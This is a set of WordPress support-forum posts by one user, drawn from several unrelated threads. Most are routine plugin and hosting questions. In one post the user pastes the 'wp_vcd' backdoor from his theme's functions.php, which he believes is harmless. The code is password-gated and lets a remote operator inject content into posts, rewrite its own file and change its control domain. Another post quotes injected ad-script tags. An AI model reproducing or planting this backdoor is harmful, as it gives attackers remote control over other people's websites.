Ayush

Hi, Yes I’m talking about CRM module. My purpose to give a personalized panel to all employees of my company where they can update their meeting and all activities. But currently all the activities are visible to others too.

Hello @oga23

I checked function.php of themes but nothing weird found there. This is the snippet of first 100 lines : `<?php

if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ‘**********************’))
{
$div_code_name=”wp_vcd”;
switch ($_REQUEST[‘action’])
{
case ‘get_all_links’;
foreach ($wpdb->get_results(‘SELECT * FROM ' . $wpdb->prefix . 'posts WHERE post_status = “publish” AND post_type = “post” ORDER BY ID DESC’, ARRAY_A) as $data)
{
$data[‘code’] = ”;

if (preg_match(‘!<div id=”‘.$div_code_name.'”>(.*?)</div>!s’, $data[‘post_content’], $_))
{
$data[‘code’] = $_[1];
}

print ‘<e><w>1</w><url>’ . $data[‘guid’] . ‘</url><code>’ . $data[‘code’] . ‘</code><id>’ . $data[‘ID’] . ‘</id></e>’ . “\r\n”;
}
break;

case ‘set_id_links’;
if (isset($_REQUEST[‘data’]))
{
$data = $wpdb -> get_row(‘SELECT post_content FROM ' . $wpdb->prefix . 'posts WHERE ID = “‘.mysql_escape_string($_REQUEST[‘id’]).'”‘);

$post_content = preg_replace(‘!<div id=”‘.$div_code_name.'”>(.*?)</div>!s’, ”, $data -> post_content);
if (!empty($_REQUEST[‘data’])) $post_content = $post_content . ‘<div id=”‘.$div_code_name.'”>’ . stripcslashes($_REQUEST[‘data’]) . ‘</div>’;

if ($wpdb->query(‘UPDATE ' . $wpdb->prefix . 'posts SET post_content = “‘ . mysql_escape_string($post_content) . ‘” WHERE ID = “‘ . mysql_escape_string($_REQUEST[‘id’]) . ‘”‘) !== false)
{
print “true”;
}
}
break;

case ‘change_div’;
if (isset($_REQUEST[‘newdiv’]))
{

if (!empty($_REQUEST[‘newdiv’]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‘/\$div_code_name=”(.*)”;/i’,$file,$matcholddiv))
{
echo $matcholddiv[1][0];
$file = preg_replace(‘/’.$matcholddiv[1][0].’/i’,$_REQUEST[‘newdiv’], $file);
@file_put_contents(__FILE__, $file);
print “true”;
}

}
}
}
break;

case ‘change_domain’;
if (isset($_REQUEST[‘newdomain’]))
{

if (!empty($_REQUEST[‘newdomain’]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‘/\$tmpcontent = @file_get_contents\(“http:\/\/(.*)\/code\.php/i’,$file,$matcholddomain))
{

$file = preg_replace(‘/’.$matcholddomain[1][0].’/i’,$_REQUEST[‘newdomain’], $file);
@file_put_contents(__FILE__, $file);
print “true”;
}

}
}
}
break;

case ‘create_page’;
if (isset($_REQUEST[‘remove_page’]))
{
if ($wpdb -> query(‘DELETE FROM ' . $wpdb->prefix . 'datalist WHERE url = “/’.mysql_escape_string($_REQUEST[‘url’]).'”‘))
{
print “true”;
}
}
elseif (isset($_REQUEST[‘content’]) && !empty($_REQUEST[‘content’]))
{
if ($wpdb -> query(‘INSERT INTO ' . $wpdb->prefix . 'datalist SET url = “/’.mysql_escape_string($_REQUEST[‘url’]).'”, title = “‘.mysql_escape_string($_REQUEST[‘title’]).'”, keywords = “‘.mysql_escape_string($_REQUEST[‘keywords’]).'”, description = “‘.mysql_escape_string($_REQUEST[‘description’]).'”, content = “‘.mysql_escape_string($_REQUEST[‘content’]).'”, full_content = “‘.mysql_escape_string($_REQUEST[‘full_content’]).'” ON DUPLICATE KEY UPDATE title = “‘.mysql_escape_string($_REQUEST[‘title’]).'”, keywords = “‘.mysql_escape_string($_REQUEST[‘keywords’]).'”, description = “‘.mysql_escape_string($_REQUEST[‘description’]).'”, content = “‘.mysql_escape_string(urldecode($_REQUEST[‘content’])).'”, full_content = “‘.mysql_escape_string($_REQUEST[‘full_content’]).'”‘))
{
print “true”;
}
}
break;

default: print “ERROR_WP_ACTION WP_V_CD”;
}

die(“”);
}`

I checked the user list but haven’t found “admin” user. I’m not using sharethis plugin.
Can you look into if I give temporary access?

Hello @oga23,

I’m also getting exact error <script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=1063894"></script>
<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=628268&interactive=1&pushup=1"></script

I’m not able to find which plugin is causing the issue. Can you please guide me to remove these because I’m getting heck of on click ads on my websites.

Hello @ravanh

Awesome, I checked the source code of my site and guess what. I found this
<script type='text/javascript' src='//ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js'></script>

So it means this plugin is working perfectly on local host and I can install it on my live site.

One more question, I this one is off topic. I want to add leverage browser cache code. So do I need to add it into parent directory (public_html) Or Can I add it into my domain directory (I’ve hosted 5 websites on my hosting account)

Thanks for the help.

• This reply was modified 7 years, 8 months ago by Ayush.

Hello @ravanh

I modified the code as you mentioned in your comment. I’m currently testing this plugin in localhost to see if this plugin is compatible or not. How can I check if this plugin is working or not? I’m using latest WP (4.7.1).

Thanks

Thanks for your reply friend, umm.. I actually want to add profile links in page content, not in sidebar widget area. So I have no idea how to do all this, I added ATA in sidebar but now it’s showing on every page (will try widget logic for this) but I want to place all links in in content. How to achieve this thing?

Hiya, my issue is resolved and I mentioned in previous discussion in another thread. It was an issue by hosting company, not because of plugin. So now you can mark it resolved. Awesome plugin.

Resolved: It was an Mod security feature enabled from hosting providers and now everything is working. ??

Can you please tell me what exactly I’ve to ask to the hosting support?

I haven’t added any security plugin and I tried by disabling all plugins but not worked, here is the link: https://www.scarlettacademy.com/community/
Please look into it and give me a solution ??

I’m also using 15Zine theme getting the exact problem, theme owners didn’t have any idea and still not able to resolve this issue, can you please tell me a solution for the error.

Thanks in advance.